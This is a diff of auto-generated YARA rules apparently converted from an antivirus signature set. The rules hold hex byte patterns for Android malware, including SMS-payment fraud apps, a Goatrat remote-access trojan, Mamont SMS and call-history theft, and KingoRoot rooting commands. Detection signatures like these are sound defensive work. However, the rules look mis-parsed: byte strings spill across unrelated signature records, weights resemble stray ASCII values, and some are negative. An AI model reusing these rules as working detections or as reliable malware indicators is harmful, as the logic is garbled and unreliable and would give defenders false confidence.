"!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -323570,7 +340279,7 @@ rule _InfrastructureShared_24706{ ((#a_4c_0 & 1)*21539+(#a_43_1 & 1)*21038+(#a_52_2 & 1)*20550+(#a_6f_3 & 1)*42+(#a_73_4 & 1)*25965) >=14 } -rule _InfrastructureShared_24707{ +rule _InfrastructureShared_26010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 04 00 21 " @@ -323583,7 +340292,7 @@ rule _InfrastructureShared_24707{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*26978+(#a_8e_2 & 1)*0+(#a_01_3 & 1)*28718) >=3 } -rule _InfrastructureShared_24708{ +rule _InfrastructureShared_26011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323595,7 +340304,7 @@ rule _InfrastructureShared_24708{ ((#a_6f_0 & 1)*21539+(#a_53_2 & 1)*24832+(#a_01_3 & 1)*30836) >=4 } -rule _InfrastructureShared_24709{ +rule _InfrastructureShared_26012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " @@ -323609,7 +340318,7 @@ rule _InfrastructureShared_24709{ ((#a_41_0 & 1)*20515+(#a_78_1 & 1)*26471+(#a_6f_2 & 1)*26990+(#a_2e_3 & 1)*30054+(#a_3a_5 & 1)*19521) >=5 } -rule _InfrastructureShared_24710{ +rule _InfrastructureShared_26013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323622,7 +340331,7 @@ rule _InfrastructureShared_24710{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*21363+(#a_63_2 & 1)*27750+(#a_61_3 & 1)*28530) >=4 } -rule _InfrastructureShared_24711{ +rule _InfrastructureShared_26014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -323634,7 +340343,7 @@ rule _InfrastructureShared_24711{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28520+(#a_00_2 & 1)*1) >=3 } -rule _InfrastructureShared_24712{ +rule _InfrastructureShared_26015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323647,7 +340356,7 @@ rule _InfrastructureShared_24712{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*30035+(#a_61_2 & 1)*29797+(#a_53_3 & 1)*14930) >=4 } -rule _InfrastructureShared_24713{ +rule _InfrastructureShared_26016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -323655,37 +340364,26 @@ rule _InfrastructureShared_24713{ $a_41_0 = {42 6c 6f 63 6b 3a 44 6e 6f 74 75 61 2e 44 21 4d 54 42 00 01 00 16 00 63 6f 6d 2f 6c 6f 73 67 2f 65 74 70 61 63 6b 2f 6d 76 70 2f 75 69 01 00 13 00 74 6f 6e 67 6a 69 2e 74 74 2e 79 69 77 61 6e 2e 63 6f 6d 01 00 0f 00 74 61 74 69 63 2e 67 75 6d 75 61 2e 63 } //20515 $a_00_1 = {0d } //28015 $a_6d_2 = {61 64 73 2f 67 67 2e 6a 73 01 00 14 00 73 65 74 44 6f 6d 53 74 6f 72 61 67 65 45 6e 61 62 6c 65 64 00 00 03 00 be 90 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 52 65 67 2e 44 21 4d 54 42 00 01 00 12 00 73 6d 73 61 70 69 2e 68 65 6a 75 70 61 79 2e 63 6f 6d 01 00 0e 00 67 } //25344 - $a_6d_3 = {53 65 6e 64 2e 70 68 70 01 00 0b 00 53 74 61 72 74 53 6d 73 50 61 79 01 00 12 00 76 65 72 69 66 79 53 6d 73 52 65 53 65 6e 64 4e 75 6d 01 00 12 00 70 61 79 65 63 6f 5f 73 75 70 70 6f 72 74 42 61 6e 6b 00 00 be 91 00 00 02 00 02 00 02 00 21 23 54 45 } //29797 - $a_64_4 = {61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 4a 21 4d 54 42 00 01 00 21 00 63 6f 6d 2f 64 65 78 74 72 61 64 65 2f 61 6e 64 72 6f 69 64 2f 4d 61 69 6e 41 63 74 69 76 69 } //14924 + $a_6d_3 = {53 65 6e 64 2e 70 68 70 01 00 0b 00 53 74 61 72 74 53 6d 73 50 61 79 01 00 12 00 76 65 72 69 66 79 53 6d 73 52 65 53 65 6e 64 4e 75 6d 01 00 12 00 70 61 79 65 63 6f 5f 73 75 70 70 6f 72 74 42 61 6e 6b 00 00 be 91 00 00 04 00 04 00 04 00 21 23 41 4c } //29797 + $a_52_4 = {48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 65 63 61 70 6b 2e 42 21 4d 54 42 00 01 00 24 00 63 6f 6d 2f 6e 65 75 73 6f 66 74 2f 73 7a 61 69 72 2f 75 69 2f 77 78 61 70 69 2f 57 58 50 61 79 49 6e 66 6f 01 } //20550 condition: - ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28015+(#a_6d_2 & 1)*25344+(#a_6d_3 & 1)*29797+(#a_64_4 & 1)*14924) >=4 + ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28015+(#a_6d_2 & 1)*25344+(#a_6d_3 & 1)*29797+(#a_52_4 & 1)*20550) >=4 } -rule _InfrastructureShared_24714{ +rule _InfrastructureShared_26017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 4d 53 52 65 67 2e 44 21 4d 54 42 00 01 00 12 00 73 6d 73 61 70 69 2e 68 65 6a 75 70 61 79 2e 63 6f 6d 01 00 0e 00 67 65 74 53 6d 73 53 65 6e 64 2e 70 68 70 01 00 0b 00 53 } //16675 - $a_74_1 = {6d 73 50 61 79 01 00 12 00 76 65 72 69 66 79 53 6d 73 52 65 53 65 6e 64 4e 75 6d 01 00 12 00 70 61 79 65 63 6f 5f 73 75 70 70 6f 72 74 42 61 6e 6b 00 00 be 91 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 4a 21 4d 54 42 00 01 00 21 00 63 6f 6d 2f 64 65 78 74 72 61 } //24948 - $a_61_2 = {64 72 6f 69 64 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 00 39 03 32 04 00 6e 10 90 01 01 3d 04 00 0c 00 72 10 90 01 01 55 00 00 0c 00 54 41 } //25956 - $a_21_3 = {01 } //400 - $a_02_4 = {19 00 12 03 70 30 62 00 42 03 6e 30 90 01 01 9f 10 02 0e 00 90 00 00 00 be 91 00 00 04 00 04 00 04 00 } //12 + $a_74_1 = {6d 73 50 61 79 01 00 12 00 76 65 72 69 66 79 53 6d 73 52 65 53 65 6e 64 4e 75 6d 01 00 12 00 70 61 79 65 63 6f 5f 73 75 70 70 6f 72 74 42 61 6e 6b 00 00 be 91 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 65 63 61 70 6b 2e 42 21 4d 54 42 00 01 00 24 00 63 6f 6d 2f 6e 65 75 73 6f 66 74 2f } //24948 + $a_69_2 = {2f 75 69 2f 77 78 61 70 69 2f 57 58 50 61 79 49 6e 66 6f 01 00 08 00 73 69 6e 61 2e 63 6f 6d 01 00 0d 00 53 5a 41 68 6a 7a 78 79 65 65 70 61 79 01 00 1b 00 54 61 6c 6b 69 6e 67 44 61 74 61 53 4d 53 41 70 70 6c 79 43 61 6c 6c 62 61 63 6b 00 00 be 91 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a } //31347 + $a_6a_3 = {6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 61 63 6b 64 65 6b 2e 41 21 4d 53 52 00 05 00 60 02 22 03 a5 01 70 10 90 01 01 08 03 00 21 14 35 40 0c 00 48 04 01 00 df 04 04 ff 8d 44 4f 04 01 00 d8 00 00 01 28 f4 12 00 21 14 6e 40 90 01 01 08 13 40 62 00 4e 00 6e 10 90 01 01 08 03 00 0c 01 5b 01 4c 00 62 00 4e 00 54 00 4c 00 71 10 90 01 01 } //29268 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24948+(#a_61_2 & 1)*25956+(#a_21_3 & 1)*400+(#a_02_4 & 1)*12) >=5 + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*24948+(#a_69_2 & 1)*31347+(#a_6a_3 & 1)*29268) >=5 } -rule _InfrastructureShared_24715{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 4a 21 4d 54 42 00 01 00 21 00 63 6f 6d 2f 64 65 78 74 72 61 64 65 2f 61 6e 64 72 6f 69 64 2f 4d 61 69 6e 41 63 74 69 76 69 74 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=2 - -} -rule _InfrastructureShared_24716{ +rule _InfrastructureShared_26018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323698,7 +340396,7 @@ rule _InfrastructureShared_24716{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28265+(#a_00_2 & 1)*82+(#a_90_3 & 1)*28673) >=4 } -rule _InfrastructureShared_24717{ +rule _InfrastructureShared_26019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 01 00 21 " @@ -323708,7 +340406,7 @@ rule _InfrastructureShared_24717{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_24718{ +rule _InfrastructureShared_26020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323722,7 +340420,7 @@ rule _InfrastructureShared_24718{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*25966+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_24719{ +rule _InfrastructureShared_26021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -323737,7 +340435,7 @@ rule _InfrastructureShared_24719{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*22864+(#a_6c_2 & 1)*29697+(#a_6c_3 & 1)*12148+(#a_3b_4 & 1)*25972+(#a_6c_5 & 1)*16756) >=6 } -rule _InfrastructureShared_24720{ +rule _InfrastructureShared_26022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323750,7 +340448,7 @@ rule _InfrastructureShared_24720{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*288+(#a_6f_2 & 1)*26989+(#a_69_3 & 1)*28528) >=4 } -rule _InfrastructureShared_24721{ +rule _InfrastructureShared_26023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323763,7 +340461,7 @@ rule _InfrastructureShared_24721{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*27713+(#a_01_2 & 1)*-28560+(#a_68_3 & 1)*12591) >=4 } -rule _InfrastructureShared_24722{ +rule _InfrastructureShared_26024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 04 00 21 " @@ -323776,7 +340474,7 @@ rule _InfrastructureShared_24722{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*17991+(#a_63_2 & 1)*14336+(#a_6d_3 & 1)*29486) >=2 } -rule _InfrastructureShared_24723{ +rule _InfrastructureShared_26025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -323788,7 +340486,7 @@ rule _InfrastructureShared_24723{ ((#a_46_0 & 1)*16675+(#a_49_1 & 1)*24404+(#a_69_2 & 1)*28493) >=3 } -rule _InfrastructureShared_24724{ +rule _InfrastructureShared_26026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323800,7 +340498,7 @@ rule _InfrastructureShared_24724{ ((#a_4c_0 & 1)*21539+(#a_43_1 & 1)*31092+(#a_69_3 & 1)*28493) >=4 } -rule _InfrastructureShared_24725{ +rule _InfrastructureShared_26027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -323814,7 +340512,7 @@ rule _InfrastructureShared_24725{ ((#a_41_0 & 1)*20515+(#a_41_1 & 1)*24948+(#a_38_2 & 1)*27410+(#a_01_4 & 1)*12+(#a_00_6 & 1)*5) >=7 } -rule _InfrastructureShared_24726{ +rule _InfrastructureShared_26028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323824,7 +340522,7 @@ rule _InfrastructureShared_24726{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24727{ +rule _InfrastructureShared_26029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 03 00 21 " @@ -323836,7 +340534,7 @@ rule _InfrastructureShared_24727{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*30565+(#a_76_2 & 1)*29795) >=5 } -rule _InfrastructureShared_24728{ +rule _InfrastructureShared_26030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -323849,7 +340547,7 @@ rule _InfrastructureShared_24728{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*12132+(#a_72_3 & 1)*17921+(#a_75_4 & 1)*17769) >=5 } -rule _InfrastructureShared_24729{ +rule _InfrastructureShared_26031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -323863,7 +340561,7 @@ rule _InfrastructureShared_24729{ ((#a_41_0 & 1)*20515+(#a_70_1 & 1)*28265+(#a_6f_3 & 1)*17408+(#a_6e_4 & 1)*14958+(#a_6c_5 & 1)*29541) >=6 } -rule _InfrastructureShared_24730{ +rule _InfrastructureShared_26032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 08 00 21 " @@ -323880,7 +340578,7 @@ rule _InfrastructureShared_24730{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28271+(#a_6f_2 & 1)*26368+(#a_41_3 & 1)*25961+(#a_6f_4 & 1)*31077+(#a_67_5 & 1)*25718+(#a_01_6 & 1)*528+(#a_0a_7 & 1)*316) >=3 } -rule _InfrastructureShared_24731{ +rule _InfrastructureShared_26033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323892,7 +340590,7 @@ rule _InfrastructureShared_24731{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30067+(#a_79_2 & 1)*27471) >=4 } -rule _InfrastructureShared_24732{ +rule _InfrastructureShared_26034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 07 00 21 " @@ -323907,7 +340605,7 @@ rule _InfrastructureShared_24732{ ((#a_41_0 & 1)*20515+(#a_64_1 & 1)*2816+(#a_76_2 & 1)*12143+(#a_64_3 & 1)*28162+(#a_00_4 & 1)*2842+(#a_20_6 & 1)*12833) >=6 } -rule _InfrastructureShared_24733{ +rule _InfrastructureShared_26035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323918,7 +340616,7 @@ rule _InfrastructureShared_24733{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*3072) >=2 } -rule _InfrastructureShared_24734{ +rule _InfrastructureShared_26036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -323928,7 +340626,7 @@ rule _InfrastructureShared_24734{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_24735{ +rule _InfrastructureShared_26037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -323940,18 +340638,19 @@ rule _InfrastructureShared_24735{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*592+(#a_28_2 & 1)*0) >=3 } -rule _InfrastructureShared_24736{ +rule _InfrastructureShared_26038{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 6f 53 70 79 2e 41 21 4d 54 42 00 01 00 34 01 6f 30 78 0f 06 08 55 60 1b 06 38 00 1c 00 70 10 cc 17 06 00 0a 00 39 00 16 00 6e 10 14 0c 06 00 0a 00 15 04 } //21539 - $a_40_1 = {04 00 01 33 40 04 00 01 30 28 02 01 00 30 01 3d 0a 18 00 54 db 24 06 52 bc f8 01 52 bb f9 01 b0 bc b1 ca 71 10 af 0b 0e 00 0a 0e 71 20 b1 70 ea 00 0a 0e 71 20 b0 0b 9e 00 0a 0e 01 3a 28 02 00 00 be 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 49 6e 73 74 2e 41 59 21 4d 54 42 00 01 00 15 00 6f 35 73 6d 73 2e 72 75 2f 61 70 69 2f 6c 6f 67 2e 68 74 6d 6c 01 00 17 00 74 6f 70 66 69 6c 65 73 73 2e 63 6f 6d 2f 72 61 74 65 73 2e 70 68 70 01 00 22 00 4c 63 6f 6d 2f 76 69 70 6c 6f 64 } //-256 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 4f 53 2f 52 65 64 48 6f 6f 6b 2e 41 21 4d 54 42 00 01 00 0f 01 63 6f 6d 2f 61 72 73 72 79 67 2f 61 75 74 6f 01 00 14 01 2f 77 73 2f 64 65 76 69 63 65 3f 6d 65 6e 62 65 } //21539 + $a_3d_1 = {00 21 01 63 6f 6d 2f 61 72 73 72 79 67 2f 61 75 74 6f 2f 4e 6f 72 6d 61 6c 57 65 62 41 63 74 69 76 69 74 79 01 00 16 03 78 02 00 0c 00 1a 01 90 01 02 6e 20 bb 03 10 00 0c 00 5b 20 90 00 00 00 be 97 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b } //18802 + $a_73_2 = {2e 41 59 21 4d 54 42 00 01 00 15 00 6f 35 73 6d 73 2e 72 75 2f 61 70 69 2f 6c 6f 67 2e 68 74 6d 6c 01 00 17 00 74 6f 70 66 69 6c 65 73 73 2e 63 6f 6d 2f 72 61 74 65 73 2e 70 68 70 01 00 22 00 4c 63 6f 6d 2f 76 69 70 6c 6f 64 65 72 2f 69 6e 73 74 61 6c 6c 2f 4d 61 69 6e 41 63 74 69 76 69 74 79 01 00 0a 00 76 70 6c 64 72 69 6e 74 } //18789 condition: - ((#a_4c_0 & 1)*21539+(#a_40_1 & 1)*-256) >=2 + ((#a_4c_0 & 1)*21539+(#a_3d_1 & 1)*18802+(#a_73_2 & 1)*18789) >=4 } -rule _InfrastructureShared_24737{ +rule _InfrastructureShared_26039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323964,7 +340663,7 @@ rule _InfrastructureShared_24737{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24946+(#a_73_2 & 1)*29295+(#a_23_3 & 1)*5) >=4 } -rule _InfrastructureShared_24738{ +rule _InfrastructureShared_26040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 05 00 21 " @@ -323977,7 +340676,7 @@ rule _InfrastructureShared_24738{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29806+(#a_61_2 & 1)*14955+(#a_02_3 & 1)*20228) >=7 } -rule _InfrastructureShared_24739{ +rule _InfrastructureShared_26041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 05 00 21 " @@ -323991,7 +340690,7 @@ rule _InfrastructureShared_24739{ ((#a_41_0 & 1)*20515+(#a_90_1 & 1)*771+(#a_2f_2 & 1)*3584+(#a_70_3 & 1)*29283+(#a_61_4 & 1)*21092) >=8 } -rule _InfrastructureShared_24740{ +rule _InfrastructureShared_26042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,10 00 10 00 07 00 21 " @@ -323999,41 +340698,28 @@ rule _InfrastructureShared_24740{ $a_41_0 = {42 6c 6f 63 6b 3a 46 61 6b 65 41 64 64 42 6c 6f 63 6b 65 72 00 0a 00 0f 01 63 6f 6d 2e 61 6e 67 72 79 2e 76 65 6e 75 73 01 00 0e 01 67 65 74 43 6c 61 73 73 4c 6f 61 64 65 72 01 00 0f 01 65 6c 61 70 73 65 64 52 65 61 6c 74 69 6d 65 01 00 0b 01 6b 69 6c 6c } //20515 $a_63_1 = {73 73 01 00 0e 01 6f 6e 53 74 61 72 74 43 6f 6d 6d 61 6e 64 01 00 0b 01 41 64 73 20 42 6c 6f 63 6b 65 72 01 00 08 01 49 4c 6f 61 64 41 70 6b 00 00 be 98 00 00 05 00 05 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 6f 6f 74 65 72 2e 43 00 02 00 23 00 63 6f 6d 2f 6b 69 6e 67 6f 61 70 70 2f 72 6f } //29264 $a_4b_2 = {6e 67 6f 41 70 70 6c 69 63 61 74 69 6f 6e 3b 01 00 0f 00 4b 69 6e 67 6f 52 6f 6f 74 4d 6f 62 69 6c 65 01 00 16 00 2f 6d 6f 62 69 6c 65 2d 72 } //29807 - $a_2f_3 = {65 70 65 6e 64 65 6e 74 01 00 15 00 72 6d 20 2d 72 20 2f 64 61 74 61 2f 6b 69 6e 67 6f 52 6f 6f 74 00 00 03 00 be 98 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6d 6f 6e 74 2e 49 21 4d 54 42 00 01 00 19 01 72 75 2f 70 75 74 69 73 68 61 2f 61 70 70 2f 53 6d 73 53 65 72 76 69 63 65 01 00 13 01 } //28527 - $a_5f_4 = {65 73 73 61 67 65 5f 68 69 73 74 6f 72 79 01 00 0d 01 53 6d 73 53 75 62 4d 61 70 70 69 6e 67 01 00 11 01 67 65 74 5f 63 61 6c 6c 73 5f 68 69 73 74 6f 72 79 01 00 0e 01 d0 9d d0 9e d0 92 d0 9e d0 95 20 53 4d 53 00 00 be 98 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 6f 61 74 72 61 74 2e 41 00 02 } //25959 - $a_2f_5 = {74 } //3840 t - $a_65_6 = {2d 61 64 6d 69 6e 2f 02 00 21 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 20 67 6f 74 20 63 6f 6d 6d 61 6e 64 3a 02 00 1c 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 3a 20 77 69 64 74 68 3d 02 00 13 01 61 6c 69 67 6e 53 63 72 65 65 6e 46 6f 72 43 6f 64 65 63 00 00 be 99 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 } //11632 + $a_2f_3 = {65 70 65 6e 64 65 6e 74 01 00 15 00 72 6d 20 2d 72 20 2f 64 61 74 61 2f 6b 69 6e 67 6f 52 6f 6f 74 00 00 03 00 be 98 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 6f 61 74 72 61 74 2e 41 00 02 00 0f 01 2f 72 74 70 2d 77 65 62 2d 61 64 6d 69 6e 2f 02 00 21 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 } //28527 + $a_76_4 = {63 65 20 67 6f 74 20 63 6f 6d 6d 61 6e 64 3a 02 00 1c 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 3a 20 77 69 64 74 68 3d 02 00 13 01 61 6c 69 67 6e 53 63 72 65 65 6e 46 6f 72 43 6f 64 65 63 00 00 be 99 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e } //25939 + $a_4d_5 = {42 00 01 00 2c 03 6f 20 06 0c 32 00 12 10 6e 20 24 0c 02 00 6e 10 fb 0b 02 00 0c 00 13 01 00 04 6e } //21569 + $a_01_6 = {18 } //-28624 condition: - ((#a_41_0 & 1)*20515+(#a_63_1 & 1)*29264+(#a_4b_2 & 1)*29807+(#a_2f_3 & 1)*28527+(#a_5f_4 & 1)*25959+(#a_2f_5 & 1)*3840+(#a_65_6 & 1)*11632) >=16 + ((#a_41_0 & 1)*20515+(#a_63_1 & 1)*29264+(#a_4b_2 & 1)*29807+(#a_2f_3 & 1)*28527+(#a_76_4 & 1)*25939+(#a_4d_5 & 1)*21569+(#a_01_6 & 1)*-28624) >=16 } -rule _InfrastructureShared_24741{ +rule _InfrastructureShared_26043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 6f 6f 74 65 72 2e 43 00 02 00 23 00 63 6f 6d 2f 6b 69 6e 67 6f 61 70 70 2f 72 6f 6f 74 2f 4b 69 6e 67 6f 41 70 70 6c 69 63 61 74 69 6f 6e 3b 01 00 0f 00 4b 69 6e 67 6f 52 } //16675 - $a_4d_1 = {62 69 6c 65 01 00 16 00 2f 6d 6f 62 69 6c 65 2d 72 6f 6f 74 2f 64 65 70 65 6e 64 65 6e 74 01 00 15 00 72 6d 20 2d 72 20 2f 64 61 74 61 2f 6b 69 6e 67 6f 52 6f 6f 74 00 00 03 00 be 98 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6d 6f 6e 74 2e 49 21 4d 54 42 00 01 00 19 01 72 75 2f 70 75 74 69 } //28527 - $a_2f_2 = {70 70 2f 53 6d 73 53 65 72 76 69 63 65 01 00 13 01 67 65 74 5f 6d 65 73 73 61 67 65 5f 68 69 73 74 6f 72 79 01 00 0d 01 53 6d 73 53 75 62 4d 61 70 70 69 6e 67 01 00 11 01 67 65 74 5f 63 61 6c 6c 73 5f 68 69 73 74 6f 72 79 01 00 0e 01 d0 9d d0 9e d0 92 d0 9e d0 95 20 53 4d 53 00 00 be 98 00 } //26739 + $a_4d_1 = {62 69 6c 65 01 00 16 00 2f 6d 6f 62 69 6c 65 2d 72 6f 6f 74 2f 64 65 70 65 6e 64 65 6e 74 01 00 15 00 72 6d 20 2d 72 20 2f 64 61 74 61 2f 6b 69 6e 67 6f 52 6f 6f 74 00 00 03 00 be 98 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 6f 61 74 72 61 74 2e 41 00 02 00 0f 01 2f 72 74 70 2d 77 65 62 2d 61 } //28527 + $a_6e_2 = {02 00 21 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 20 67 6f 74 20 63 6f 6d 6d 61 6e 64 3a 02 00 1c 01 53 63 72 65 65 6e 53 68 61 72 69 6e 67 53 65 72 76 69 63 65 3a 20 77 69 64 74 68 3d 02 00 13 01 61 6c 69 67 6e 53 63 72 65 65 6e 46 6f 72 43 6f 64 65 63 00 00 be 99 00 00 02 00 02 00 02 00 21 } //28004 + $a_4c_3 = {41 64 77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 6f 62 69 64 61 73 68 2e 41 54 21 4d 54 42 00 01 00 2c 03 6f 20 06 0c 32 00 12 10 6e 20 24 0c 02 00 6e 10 fb 0b 02 00 0c 00 13 01 00 04 6e 30 90 01 01 18 } //21539 condition: - ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*28527+(#a_2f_2 & 1)*26739) >=5 + ((#a_46_0 & 1)*16675+(#a_4d_1 & 1)*28527+(#a_6e_2 & 1)*28004+(#a_4c_3 & 1)*21539) >=5 } -rule _InfrastructureShared_24742{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " - - strings : - $a_4c_0 = {54 72 6f 